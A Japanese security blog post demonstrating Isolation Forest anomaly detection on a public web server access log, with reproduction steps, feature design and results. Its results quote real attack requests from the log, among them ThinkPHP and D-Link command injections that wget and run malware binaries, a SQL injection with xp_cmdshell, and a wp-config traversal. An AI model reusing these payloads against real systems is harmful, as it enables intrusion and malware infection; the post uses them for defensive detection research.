技術者ブログ

おまたせしました

この度、ついにこの記事を完成させることができました。これは私が数年前からずっと書きたいと思っていた、ウェブのアクセスログに対する、機械学習を使った異常検知の実例です。私は事あるごとに(※1)「情報セキュリティ分野でもデータサイエンスの技術は非常に重要だ」と繰り返していますが、この記事の内容はまさにその1つの証となると思います。この記事で示される内容を見れば、「うわ、機械学習、マジでヤバイい(語彙力)んだな...」となるでしょう。以下に心当たりのあるセキュリティエンジニアはぜひ読んで、そして実践してみてください。

• 機械学習に興味はあるものの、どこから手を付ければよいのかイメージがわかない
• 本当にAIやデータサイエンス、機械学習がセキュリティの分野で役に立つのか、確信がもてない
• データサイエンスや機械学習は難しそうだと思っている
• ログ解析において、grepや単純な統計処理よりも、さらに上のレベルに行きたい
• 大量のデータからインテリジェンスを引き出す手法を身につけたい
• AIに大量のログを解析するお仕事をさせて、自分はのんびりしたい
• やたらコア数の多いCPUでマシンを組んでしまったが、実のところ持て余している

今回の異常検知は、セキュリティ×機械学習の入門にぴったりの内容です。これまで、「誰でもアクセスが可能な、ウェブサーバのアクセスログのサンプルデータはないだろうか？」と何度も探していたのですが、意外に見つかりませんでした。今回ついにそれが見つかったので、こうして無事に記事にすることができました。

全データ、ソースコードが公開

この記事で示す内容は、データ及び処理を行うソースコード全体について、全て公開されます。完全に同じことを、読んでいるあなたが手元で再現することができます。データサイエンスの世界では論文などを読んでいても「で、データはどこにあるの？コードは手に入るの？」となり困るケースが多々あるのですが、この記事はそんなことはありません(※2)。

さてこの記事で実際に使用する、分析の対象となるアクセスログのデータは、ハーバード大学のHarvard DataverseにあるAccess.log.zipです。イランの実在のショッピングサイトにおける2019年1月の数日間のアクセスログで、Nginxにより取得されたものです。いわゆる、ごく普通のアクセスログです。数行ほど引用します。

31.56.96.51 - - [22/Jan/2019:03:56:20 +0330] "GET /image/60847/productModel/200x200 HTTP/1.1" 200 5667 "https://www.zanbil.ir/m/filter/b113" "Mozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Mobile Safari/537.36" "-"
5.160.157.20 - - [22/Jan/2019:03:56:49 +0330] "GET /browse/blu-ray HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0" "-"
216.244.66.248 - - [22/Jan/2019:03:57:30 +0330] "GET /robots.txt HTTP/1.1" 200 64 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)" "-"

このデータ、行数は実に1036万行、サイズは3.3GBと、機械学習で挑むには十分すぎる大きさです。個人的にはデータサイエンスで試行錯誤する対象のログのサイズとしては100万行程度あればよいかと思っていますが、今回はせっかくなので、このデータをすべて使ってみます。

初めて機械学習を勉強しようとすると、「アヤメの分類」や「タイタニックで誰が生き残るか」のようなデータセットが紹介されがちです。しかしこれらはセキュリティ分野の技術者から見ると、実際の業務にどうやってつなげればよいのかのイメージがわきません。また、サイズ的にも小さすぎて問題があります。今回はまさに現場で扱うであろうウェブのアクセスログでしかも本物、サイズも十分なレベルで大きい、というかなりの好条件が揃っています。

何をやるのか？

今回はこのアクセスログに対する異常検知を行います。このデータは本物のショッピングサイトのものですが、私達にとってとても都合がよいことに、攻撃されています。つまり、大量の正常なアクセスに混ざって、少数の悪意あるアクセスが行われている状態です。この攻撃を機械学習で異常検知することで見つけてみます。イメージとしては、AIに対して「データをざっと全体的に見て、変なもの、他と様子が違うものを見つけてね」とリクエストするような感じです。なにしろログは1000万行あるので、人では「ざっと全体的に見る」ことは不可能です。そのため、もし人が分析しようとする場合は、どうしてもgrepで既知のパターンを探したり、あるいは何かの基準に従って統計量を出したりするようなことしか出来ず、「何か、他と様子が違うもの」という漠然とした対象を見つけるのは難しいでしょう。機械学習での異常検知は、これを可能にします。

今回、この機械学習において、事前に「ウェブの攻撃とはこういうものですよ」という知識をほとんど全くあたえないにも関わらず、異常検知の結果として攻撃を見つけてしまうことを示します。つまりAIはウェブアプリケーションセキュリティの知識なしに攻撃を見つけられるという技術者にとっては背筋が寒くなる事実をお見せします。とはいえ(教師なし学習であることもあり)精度はそれほど高くないので、最終的にあなたは「なるほど、このくらいのレベル感でこんなことができるんだな...」という感覚をつかむことができるでしょう(※3)。

教師なし学習を使用

機械学習では「教師あり学習」が有名ですが、今回は「教師なし学習」を使います。この理由は下記になります。

• データを実際に目で見て「これは攻撃、これは正常」とラベルをつける下準備が不要である
• データが大量に(1000万行以上)ある利点を活かせる
• セキュリティ分野では異常検知の出番が多いが、異常検知は比較的「教師なし学習」が得意とする分野である
• はじめから終わりまでの作業のフローがシンプルで理解しやすい

教師なし学習で異常検知を行う場合、おそらく皆さんの予想以上にあっけなく実施することができます。それほど大した準備も予備知識も要らないため、「機械学習は難しそう」と思っている人はその手軽さに驚くのではないでしょうか。ただしその手軽さの反面、やはり性能では教師あり学習にはかなわないところもあります

アルゴリズムはIsolation Forest

教師なし学習で異常検知を行う場合、アルゴリズムとしてはぶっちゃけIsolation Forestだけ使えばOKです(※4)。Isolation Forestの良さは2つあって、1つはデータの準備にあまり気を使う必要がないこと、そしてもう1つはさまざまな人が評価した結果、異常検知での性能がおおむね優れていることが判明していることです(※5,6)。今回は以前こちらの記事でも紹介した、Isolation ForestのJavaの実装を使います。

実際に手元で動かす手順

動作環境としてはLinuxを想定しています。java(8以上)及びantがインストールされている必要があります。実行時にJavaのコンパイルが走るので、JREだけではなくJDK(javac)が必要です。

メモリは24GB程度以上、CPUもできるだけ速く、コア数が多いことが望ましいです。入出力するファイルのサイズも数GB程度はあるので、ストレージがNVMeのSSDだと、処理が速く終わります。

必要なコードはGitHubに、データはハーバード大学にあります。

それでは具体的に手元でこの機械学習による異常検知を再現する手順を記述します。

• GitHubのリポジトリをcloneする

git clone https://github.com/Kanatoko/Walu.git

• ブラウザでハーバード大学にアクセスし、リストの先頭にあるAccsss.log.zip(約260MB)をダウンロードする
• 展開して得られるaccess.log(約3.3GB)を、先程cloneしたリポジトリのdataディレクトリに配置する
• コマンドラインシェルからcloneしたリポジトリのトップレベルディレクトリに移動し、run.shを実行する

./run.sh

手順は以上です。実行が不具合なく成功した場合は以下のような出力になります。

Buildfile: /work/walu/build.xml

build-subprojects:

init:

build-project:
     [echo] Walu: /work/walu/build.xml

build:

BUILD SUCCESSFUL
Total time: 0 seconds
2021-01-17 15:09:20.698 JST: Reading file data/access.log ...
2021-01-17 15:09:24.732 JST: Total number of lines: 10365152
2021-01-17 15:09:24.732 JST: Getting unique IP addresses ...
2021-01-17 15:09:24.970 JST: Total number of IPs: 258606
2021-01-17 15:09:24.970 JST: Constructing vector list ...
2021-01-17 15:09:29.591 JST: Total number of vectors: 5216593
2021-01-17 15:09:29.592 JST: Building model ... ( treeNumber=1000 ,subSampleSize=10000 )
2021-01-17 15:09:33.529 JST: Writing model as Java source code ...
2021-01-17 15:09:33.757 JST: Compiling model with ant ...
2021-01-17 15:09:37.080 JST: Model is successfully loaded.
2021-01-17 15:09:37.080 JST: Scoring vectors ...
2021-01-17 15:10:27.203 JST: Sorting results ...
2021-01-17 15:10:27.316 JST: Saving results ...
2021-01-17 15:10:33.472 JST: Total execution time:72774

異常検知の結果はdataディレクトリ内に2つのファイルとして出力されます。

data/result_all.txt

result_all.txtは入力であるdata/access.logのすべての行について、先頭に異常さのスコアを加えたものになっています。並び順はaccess.logと同じになっています。この数値が低いほど異常、高いほど正常です。感覚的には0.2以下はかなり異常だと言えるアクセスになります。

data/result_by_ip.txt

アクセスがあったそれぞれのIPについて、最も異常だと判定された行をスコアと共に記録したファイルです。並び順として、異常と判定された行から順番に並んでいるので、異常検知の結果としてはまずこちらのファイルを見ることになります。果たしてこのファイルの上の方に、攻撃が姿を現すでしょうか？

結果を実際に見ていく前に、この機械学習による異常検知では具体的にどんな処理を行っているのか、その内容を簡単に説明します。

データの準備(特徴ベクトルにする)

Isolation Forestがデータを処理するためには、対象のデータがログのテキストデータそのままの形ではなく、特徴ベクトルの形式になっている必要があります。この「生のデータをどのように特徴ベクトルに変換するか」は機械学習の結果を大きく左右する重要なポイントなのですが、幸いIsolation Forestはここを多少雑にやってもそれなりにいい結果を出してくれるので、あまり緊張する必要はありません。今回は、下記のような方法で特徴ベクトルを作成してみました。

アクセスログ1行を、1つの特徴ベクトルにする

わかりやすいよう、アクセスログの1行ごとに、それぞれ1つの特徴ベクトルに変換します(※7)。また、リクエスト行のデータ部分(GET ... HTTP/1.1)のみを特徴ベクトルのために使用します。IPアドレスや時刻、ステータスコードやリファラの情報は、今回は使わない形にします(※8)。

特に記号に注目し、それぞれをいくつ含むかを数えてみる

データを特徴ベクトルに変換する考えのベースとなる、簡単な例を示します。例えば「スラッシュ(/)」がいくつ含まれるかを数えて、その数を1つの特徴にします。また、「パーセント(%)」も同じように数え、そちらも1つの特徴にしてみます。データとして次のような2つのアクセスログがあった場合を考えます。

GET /foo/bar/baz HTTP/1.1
GET /index.php?foo=%41%42%43 HTTP/1.1

上の行は/を4個、%を0個含むので、[ 4, 0 ]という特徴ベクトルになります。
一方下の行は/を2個、%を3個含むので、[ 2, 3 ]という特徴ベクトルになります。

これはもちろん単純化した例です。この場合はたったの2次元のデータなので、さすがにこれだけではIsolation Forestといえどもよい結果は出せません。イメージ的には20次元以上くらいはあるとよいでしょう。今回実際に行うやり方では、記号についての出現数を数えたり、あるいは「何番目にその記号があるか」を数えたりして、合計で29次元の特徴ベクトルにしています。若干冗長な説明となりますが、大切な部分なので、29次元それぞれについて内容を記載します。

1. %が最初に出現する場所
2. :が最初に出現する場所
3. :の個数(いくつ含まれるか)
4. (の個数
5. ;の個数
6. %の個数
7. /の個数
8. 'の個数
9. <の個数
10. ?の個数
11. .の個数
12. #の個数
13. %3dの個数
14. %2fの個数
15. %5cの個数
16. %25の個数
17. %20の個数
18. メソッドがPOSTかどうか
19. URLのパス部分に含まれるアルファベットと数値以外の文字の個数
20. クエリ部分に含まれるアルファベットと数値以外の文字の個数
21. アルファベットと数値以外の文字が最も連続している部分の長さ
22. アルファベットと数値以外の文字の個数
23. /%の個数
24. //の個数
25. /.の個数
26. ..の個数
27. =/の個数
28. ./の個数
29. /?の個数

これらのような点についてデータを抽象化し、特徴ベクトルとします。

さて私はこの記事の前の方で

事前に「ウェブの攻撃とはこういうものですよ」という知識をほとんど全くあたえない

と書きました。これは、例えば「wget」や「UNION SELECT」のような、よくウェブへの攻撃で登場する単語等については教えないし、また「コマンドインジェクション」や「SQLインジェクション」といった概念も与えない、という意味では正しいと言えるでしょう。しかし上記のように、例えば「特徴として..が何回登場するかを数えよう」ということは指定しているわけです。これは「..」がそれなりに「異常か正常か」を分けるキーとなり得る要素であるからこそで、この点においては知識を与えていると言えます。

とはいえこの手がかり、情報はかなり断片的なものです。単にこれだけの「注目すべき点、ポイント」の情報を与える程度ですから、「ウェブの攻撃とはこういうものだ、という知識は与えていない」と表現してもよいかなと思います。果たして機械学習のアルゴリズムがこれだけの情報を元にどこまで頑張ってくれるか、攻撃を発見できるかは、お手並み拝見というところでしょう。

データを特徴ベクトルに変換することは、すなわちデータをある程度抽象化することであり、細部を捨てることになります。見つけたい「異常なデータ」の「異常さ」を物語る部分が、この「捨てられる細部」に含まれてしまっていると、異常検知はうまく行きません。そのため、抽象化しつつも、大事な情報は何かしらの形で特徴ベクトルまで残すことが重要です。よくわからない場合は、とりあえずたくさんの次元を使う（＝あまり情報を落とさない)のがよいでしょう(※9)。

IPアドレスの扱い

データとして1000万行のアクセスログがありますが、学習するデータにおいてIPアドレス毎のバラつきが出ないよう、ある1つのIPアドレスについては最大で80行だけを使うことにします。このようにしないと、例えば1000アクセスしてきたIPアドレスによるデータと、たった1アクセスしかしなかったIPアドレスのデータの重みが「1000対1」となってしまい、前者の影響が濃く出すぎてしまう(＝より正常だと捉えられてしまう)からです(※10)。

今回の約1000万行のアクセスログは合計で26万程度のIPアドレスからのアクセスで成り立っています。各IPアドレスについて、ランダムに(最大で)80のアクセスを選び、それぞれを特徴ベクトルに変換します。これによって約520万の特徴ベクトルが作成されます。これが今回の機械学習の元となるデータとなり、Isolation Forestによって処理されることになります。

機械学習と評価

特徴ベクトルが作成されたら、続いてIsolation Forestが機械学習を行い、結果としてモデルが生成されます。Isolation Forestのハイパーパラメータとして、今回は木の数を1000、それぞれの木の学習で使用するサンプルサイズを10000としています(※11)。

学習が完了したら、そこで生成されたモデルを使い、それぞれのデータの評価、つまり異常度のスコア付けを行います。今回は入力であるaccess.logのすべての行(約1036万行)について点数を付けます。このとき、それぞれの行は一度特徴ベクトルに変換され、その特徴ベクトルがモデルの入力となり、スコアがモデルの出力となります。この結果を集計し、先述した2つのファイルとして出力します。学習では各IPアドレスごとに最大で80という制限を設けたため、1036万行すべては使いませんでした(約520万行を使いました)が、評価ではすべての行を使います。

結果の確認

検出した攻撃

それではいよいよ異常検知の結果の確認をしてみましょう。

data/result_by_ip.txtは、各IPアドレスについて、そのIPアドレスから行われた全アクセスのうち、もっとも異常だと判定された(＝スコアの数値が低い)アクセス1つについて記録されています。今回の入力データとなるaccess.logには約1036万行が記録されていますが、それらは約26万のIPアドレスによるものです。そのため、data/result_by_ip.txtの内容は約26万行になっています。

このファイルの中身はスコアでソートされているため、「異常だと判定されたアクセス」が一番上から順番に並んでいき、下にいくにつれて正常なアクセスになっています。なお、Isolation Forestはランダムさを利用するアルゴリズムであるため、結果は実行毎に少しブレがあります。そのためあなたが手元で実行した際には、ここで示す結果と内容が少し違う場合があります。

ではファイルの上の方の3行ほどを見てみましょう。

0.131 5.116.244.10 - - [24/Jan/2019:10:58:13 +0330] "GET /rapidGrails/jsonList?maxColumns=16&domainClass=eshop.Order&columns=[{%27name%27:%27trackingCode%27,%27width%27:110},{%27name%27:%27ownerName%27,%27width%27:120},{%27name%27:%27productsName%27,%27width%27:320,%27sortable%27:false},{%27name%27:%27ownerMobile%27,%27width%27:110},{%27name%27:%27deliveryMethodName%27,%27width%27:120,%27sortable%27:false},{%27name%27:%27deliveryCityName%27,%27width%27:120,%27sortable%27:false},{%27name%27:%27addressRegionName%27,%27width%27:120,%27sortable%27:false},{%27name%27:%27courier%27,%27width%27:120,%27expression%27:%27obj[\x5C%27courier\x5C%27]?.fullName%27},{%27name%27:%27status%27,%27width%27:110},{%27name%27:%27invoiceType%27,%27width%27:60,%27expression%27:%27g.message(code:%20obj[\x5C%27invoiceTypeCode\x5C%27])%27},{%27name%27:%27itemsDeliveryStatus%27,%27width%27:60},{%27name%27:%27creationType%27,%27width%27:50},{%27name%27:%27creationMedia%27,%27width%27:50},{%27name%27:%27completionMedia%27,%27width%27:50},{%27name%27:%27completionFollower%27,%27width%27:120},{%27name%27:%27lastActionDate%27,%27width%27:100,%27expression%27:%27rg.formatJalaliDate(date:%20%20obj[\x5C%27lastActionDate\x5C%27],%20hm:\x5C%27true\x5C%27%20)%27}]&filter=[{%22op%22:%22ilike%22,%22val%22:%22%25%D9%BE%D8%B3%D8%AA%20%25%22,%22field%22:%22deliveryMethodName%22},{%22op%22:%22courier%22,%22data%22:[{%22op%22:%22like%22,%22val%22:%22%25%D9%87%D8%A7%D8%AF%DB%8C%25%22,%22field%22:%22fullName%22}]},{%22op%22:%22inSession%22,%22val%22:%22orderListf08ac55d70054d079f0a75a45735c90c%22,%22field%22:%22id%22}]&_search=false&nd=1548315106020&rows=10&page=2&sidx=lastActionDate&sord=desc HTTP/1.1" 200 1337 "https://www.zanbil.ir/orderAdministration/console/187717" "Mozilla/5.0 (Windows NT 10.0; rv:64.0) Gecko/20100101 Firefox/64.0" "-"

0.131 5.117.184.164 - - [23/Jan/2019:16:33:20 +0330] "GET /rapidGrails/jsonList?maxColumns=16&domainClass=eshop.Order&columns=[{%27name%27:%27trackingCode%27,%27width%27:110},{%27name%27:%27ownerName%27,%27width%27:120},{%27name%27:%27productsName%27,%27width%27:320,%27sortable%27:false},{%27name%27:%27ownerMobile%27,%27width%27:110},{%27name%27:%27deliveryMethodName%27,%27width%27:120,%27sortable%27:false},{%27name%27:%27deliveryCityName%27,%27width%27:120,%27sortable%27:false},{%27name%27:%27addressRegionName%27,%27width%27:120,%27sortable%27:false},{%27name%27:%27courier%27,%27width%27:120,%27expression%27:%27obj[\x5C%27courier\x5C%27]?.fullName%27},{%27name%27:%27status%27,%27width%27:110},{%27name%27:%27invoiceType%27,%27width%27:60,%27expression%27:%27g.message(code:%20obj[\x5C%27invoiceTypeCode\x5C%27])%27},{%27name%27:%27itemsDeliveryStatus%27,%27width%27:60},{%27name%27:%27creationType%27,%27width%27:50},{%27name%27:%27creationMedia%27,%27width%27:50},{%27name%27:%27completionMedia%27,%27width%27:50},{%27name%27:%27completionFollower%27,%27width%27:120},{%27name%27:%27lastActionDate%27,%27width%27:100,%27expression%27:%27rg.formatJalaliDate(date:%20%20obj[\x5C%27lastActionDate\x5C%27],%20hm:\x5C%27true\x5C%27%20)%27}]&filter=[{%22op%22:%22ilike%22,%22val%22:%22%25%D9%85%D8%A7%D8%B4%DB%8C%D9%86%20%D8%A7%D8%B5%D9%84%D8%A7%D8%AD%20%D8%B3%D8%B1%20%D9%BE%D8%B1%D9%86%D8%B3%D9%84%DB%8C%20%D9%85%D8%B4%DA%A9%DB%8C%20%D9%86%D9%82%D8%B1%D9%87%20%D8%A7%DB%8C%20%D9%85%D8%AF%D9%84%20PR460AT%20%D8%A8%D8%A7%20%DA%AF%D8%A7%D8%B1%D8%A7%D9%86%D8%AA%DB%8C%2024%20%D9%85%D8%A7%D9%87%D9%87%20%D9%BE%D8%B1%D9%86%D8%B3%D9%84%DB%8C%20(%D9%85%D8%A7%D8%B4%DB%8C%D9%86%20%D8%A7%D8%B5%D9%84%D8%A7%D8%AD)%25%22,%22field%22:%22productsName%22},{%22op%22:%22inSession%22,%22val%22:%22orderList30e97dffdf394cad936fe751ba407fc0%22,%22field%22:%22id%22}]&_search=false&nd=1548248854349&rows=10&page=1&sidx=lastActionDate&sord=desc HTTP/1.1" 200 353 "https://www.zanbil.ir/orderAdministration/console/187491" "Mozilla/5.0 (Windows NT 10.0; rv:64.0) Gecko/20100101 Firefox/64.0" "-"

0.131 5.117.210.134 - - [23/Jan/2019:11:08:52 +0330] "GET /rapidGrails/jsonList?maxColumns=16&domainClass=eshop.Order&columns=[{%27name%27:%27trackingCode%27,%27width%27:110},{%27name%27:%27ownerName%27,%27width%27:120},{%27name%27:%27productsName%27,%27width%27:320,%27sortable%27:false},{%27name%27:%27ownerMobile%27,%27width%27:110},{%27name%27:%27deliveryMethodName%27,%27width%27:120,%27sortable%27:false},{%27name%27:%27deliveryCityName%27,%27width%27:120,%27sortable%27:false},{%27name%27:%27addressRegionName%27,%27width%27:120,%27sortable%27:false},{%27name%27:%27courier%27,%27width%27:120,%27expression%27:%27obj[\x5C%27courier\x5C%27]?.fullName%27},{%27name%27:%27status%27,%27width%27:110},{%27name%27:%27invoiceType%27,%27width%27:60,%27expression%27:%27g.message(code:%20obj[\x5C%27invoiceTypeCode\x5C%27])%27},{%27name%27:%27itemsDeliveryStatus%27,%27width%27:60},{%27name%27:%27creationType%27,%27width%27:50},{%27name%27:%27creationMedia%27,%27width%27:50},{%27name%27:%27completionMedia%27,%27width%27:50},{%27name%27:%27completionFollower%27,%27width%27:120},{%27name%27:%27lastActionDate%27,%27width%27:100,%27expression%27:%27rg.formatJalaliDate(date:%20%20obj[\x5C%27lastActionDate\x5C%27],%20hm:\x5C%27true\x5C%27%20)%27}]&filter=[{%22op%22:%22ilike%22,%22val%22:%22%25%D9%BE%D8%B3%D8%AA%25%22,%22field%22:%22deliveryMethodName%22},{%22op%22:%22courier%22,%22data%22:[{%22op%22:%22like%22,%22val%22:%22%25%D8%AD%D8%B3%DB%8C%D9%86%20%D8%B1%D8%B6%D8%A7%DB%8C%DB%8C%25%22,%22field%22:%22fullName%22}]},{%22op%22:%22inSession%22,%22val%22:%22orderList9c4a4d7fe824481d8afe9c055df2727a%22,%22field%22:%22id%22}]&_search=false&nd=1548229387060&rows=10&page=1&sidx=lastActionDate&sord=desc HTTP/1.1" 200 89 "https://www.zanbil.ir/orderAdministration/console/187397" "Mozilla/5.0 (Windows NT 10.0; rv:64.0) Gecko/20100101 Firefox/64.0" "-"

ひと目見ただけで「うわ、こりゃー変なアクセスだな」という印象を受けるものですが、残念ながら(?)攻撃ではないように思えます。ここに見事に攻撃が来てくれればこのブログ記事としては百点満点だったのですが、それほどはうまく行きませんでした。どうやらこの「GET /rapidGrails/jsonList?」で始まるURLに対し、上記のようなとても長く変わったアクセスが行われているようです。これらが最も異常であると判定され、この約26万行のファイルのうち先頭の59行がこのパターンの内容になっています。異常度をあらわすスコアの数値としては、0.131という値になっています。

ではこの59行はとりあえず無視して、その次、ファイルの60行目を見てみます。すると...おっ！来てくれました！！

0.166 185.222.202.118 - - [22/Jan/2019:09:15:46 +0330] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://185.222.202.118/bins/rift.x86;cat%20rift.x86%20%3E%20efjins;chmod%20777%20efjins;./efjins%20thinkphp HTTP/1.1" 301 178 "-" "python-requests/2.4.3 CPython/2.7.9 Linux/3.16.0-4-amd64" "-"

0.171 149.12.217.220 - - [26/Jan/2019:13:25:41 +0330] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://213.183.45.190/binary/thinkphp.sh;chmod%20777%20thinkphp.sh;sh%20thinkphp.sh HTTP/1.1" 400 166 "-" "Hotaru" "-" 

0.171 206.248.167.234 - - [26/Jan/2019:00:57:39 +0330] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://213.183.45.190/binary/thinkphp.sh;chmod%20777%20thinkphp.sh;sh%20thinkphp.sh HTTP/1.1" 400 166 "-" "Hotaru" "-" 

見事に攻撃を見つけています。この行にはウェブアプリケーションセキュリティの技術者であればおなじみのwgetやshell_exec、call_user_func_array、chmodや/tmpなどの「いかにも攻撃に出てくる」文字列が登場していますが、今回の異常検知のモデルはこれらの文字列を何一つ認識していないことは注目に値するでしょう。26万のIPからのアクセスのうち、この攻撃を「60番目に異常だ」と判定しました。これは実に見事と言ってよいと思います。

1〜59行目はパターンとしてはまるっきり同じなので、このwgetの行は「2パターン目」とも言えます。そのため「2パターン目に攻撃のデータを持ってくることができた」という評価でもよいと思います。

続けて見ていくと、しばらく「変わっているようだが攻撃ではなさそう」な行が続き、そして69行目にUNIONを含む下記の行が来ています。

0.190 5.101.40.234 - - [23/Jan/2019:06:53:01 +0330] "GET /image/{{basketItem.id}}?type=productModel&wh=50x50&fhnz%3D1551%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24" "-"

続いて80行目付近には

0.203 108.61.86.94 - - [24/Jan/2019:13:08:01 +0330] "GET /login.cgi?cli=aa%20aa%27;wget%20http://108.61.86.94/bins/Solstice.mips%20-O%20->%20/tmp/.Solstice;chmod%20777%20/tmp/.Solstice;/tmp/.Solstice%20dlink%27$ HTTP/1.1" 400 166 "-" "Solstice/2.0" "-"

と、またwgetを含む攻撃が来ています。そして117行目には

0.228 62.210.157.10 - - [25/Jan/2019:21:20:36 +0330] "GET /wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=../../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"

と、WordPressを狙ったディレクトリトラバーサルが来ています。繰り返しになりますが、この異常検知モデルは「wp-config」という文字列や、「../../../はディレクトリトラバーサルだ」ということは認識していないにもかかわらず、攻撃を見事に検出しています。

ここで検出された攻撃を行ってきたIPアドレス(上記の例でいえば185.222.202.118,149.12.217.220,206.248.167.234,5.101.40.234,108.61.86.94,62.210.157.10)などについて、上記以外ではどのようなアクセスをしているかは、それぞれのIPアドレスを使ったgrepで簡単に把握することができます。これによってより多くの攻撃の情報が取得できるでしょう。

検出できなかった攻撃

一方で、シンプルな攻撃は検出できていません。例えば次のようなものです。

0.428 185.234.218.74 - - [26/Jan/2019:05:36:02 +0330] "GET /config/database.php.bak HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36" "-"

今回のやり方では、上記はスコアが0.428となっており、「異常である」という判定はされていません。これらを機械学習で見つけるには別の工夫が必要になりそうです(※12)。

結果を踏まえたまとめ

このように、いくつかの「いかにも」な攻撃を見事に異常と判定することができました。それと同時に「一見、おかしなアクセスのように見えるが、攻撃ではない」ものもファイルの上の方に記録されてしまっています。しかし機械学習による異常検知はあくまでも「他と変わっているもの」を見つけているので、このような攻撃でないログが検出されるのは当然であり、問題ありません。我々の目的としては攻撃だけを見つけたいところですが、これはいわゆる「誤検知」ではなく、異常検知としては正しく動作していると言えるでしょう。つまりウェブにおける異常なアクセスは、必ずしも攻撃ではないということです。botやプログラムのバグなどによって「攻撃ではないが変わったアクセス」はあちこちで発生しているものです。ここから自分たちが探す「攻撃のみ」にするには別のアプローチが必要となりますが、この機械学習の結果がその前段の処理として有用であることは間違いありません。

また、非常に重要なポイントとして、この異常検知はwgetやUNION SELECT等の文字列の情報に頼っていないので、分析する技術者が想定していないパターンの攻撃や、ゼロデイ攻撃を見つけることが可能です。ちょっとありえない例かもしれませんが、例えば技術者がまだ未熟で、今回のログデータを分析するにあたり、UNIONという文字列は攻撃に使われることを知っているが、wgetについては知らなかったとしましょう。その場合、grepで分析するアプローチではwgetによる攻撃の行を完全に見逃してしまう可能性がありますが、機械学習してから異常検知の結果をファイルの先頭から順番に読んでいく、というアプローチであれば、これを見逃さずに済みます(その行を読んだ時点で、あ、こんな攻撃もあるのか！と気づくことができます)。また、こちらの記事で紹介しているような攻撃、難読化されたような文字列はgrepでは非常に見つけにくいですが、この異常検知のアプローチではむしろ見つけやすくなります。

このように機械学習による異常検知は、従来とは全く異なるアプローチであり、従来の手法では出せない成果を出すことができます。一方で上記の「database.php.bak」へのアクセスのように、既知のパターンをgrepしたり単純な統計処理をしてみる手法の方が適切な場面もあるので、車輪の両輪のようにこれら2つのアプローチを同時に行ってみることが最も優れた手法となるでしょう。

この記事でデータサイエンス/AI/機械学習による分析の威力が少しでも伝わり、多くのセキュリティ技術者が機械学習への一歩を踏み出してくれればうれしいです。

Scutumにおける利用

この記事で紹介した手法と似たやり方をScutumでも使っています。また、まったく別の切り口でも同様にIsolation Forestを使っています。これらはさらにベイジアンネットワークや従来型のシグネチャ(パターンマッチ)などの他の技術と組み合わされて最終的なWAFの分類に活かされています。上記で見たように教師なしの異常検知は「攻撃ではないが明らかに変なもの」も頻繁に見つけてしまうので、WAFのようにモデルの判定に人が介在できず、リアルタイムで処理する必要がある場面では、このノイズをうまくエンジニアリングして除去することがキモになってきます。

データ引用元について

以下のデータを利用しています。

F. Zaker. (2019) Online shopping store - web server logs

https://dataverse.harvard.edu/dataset.xhtml?persistentId=doi:10.7910/DVN/3QBYB5

(おまけ)パフォーマンスについて

やや蛇足になりますが、今回の機械学習で必要となる処理時間、マシンの負荷等についても触れておきます。前述した機械学習の実行結果(Buildfile: /work/walu/build.xml...で始まっている部分)は私の開発環境のものです。ここでは最終行に「Total execution time:72774」と出力されていますが、これは72774ミリ秒、つまり約72秒で完了していることがわかります。今回行っている処理をざっくり書くと

• 3.3GB、約1000万行のデータをロード
• そこから約520万の特徴ベクトルを生成
• この、それぞれが29次元を持つ約520万の特徴ベクトルに対して機械学習
• 生成されたモデルを使い、約1000万の特徴ベクトルを評価、スコア付け
• 結果を集計してファイル(約3.4GB)に保存

ということになりますが、この工程の全体がわずか72秒で完了するのは、非常に速いと言えると思います(※13)。「機械学習は、コンピュータが学習する段階でとても長い時間がかかる」というイメージを持っている人もいるかもしれませんが、最近のCPUはメニーコア化し、さらにシングルコアの性能も非常によいので、このような事が現実に可能になりました。もちろん複数台のマシン、クラスタを使って分散処理できるようにすればさらにパフォーマンスが上がることも期待できますが、そのような場合、意外と分散処理フレームワーク自体のオーバーヘッドやネットワークを使ったデータ転送が遅かったりします。今回私が使用した開発機(※14)はメモリ128GB、CPUはAMD Ryzen 9 5950X(16Core/32Thread)、ストレージは高速なSamsungのNVMe SSDです。分散処理はせずに、独立した1台のマシン上で処理を完結させています。

データはNVMe SSDからロードするので最初のアクセスも速いですが、メモリを十分に積んでいるため、一度ロードされればOSがメモリ上にキャッシュしてくれます。また、例えば特徴ベクトルなどの生成された中間データはすべてメモリ上に保持し、ファイルは経由しないようにします。そして最も重要なポイントとして、可能な限り処理を並列化し、複数のCPUコアを効果的に使うようにします。近年16コア、32コア、64コアなど単体のCPUがメニーコア化する傾向が強いので、これは非常に効果的です。もちろん、処理の最中、データは一切ネットワークを経由しないようにします。

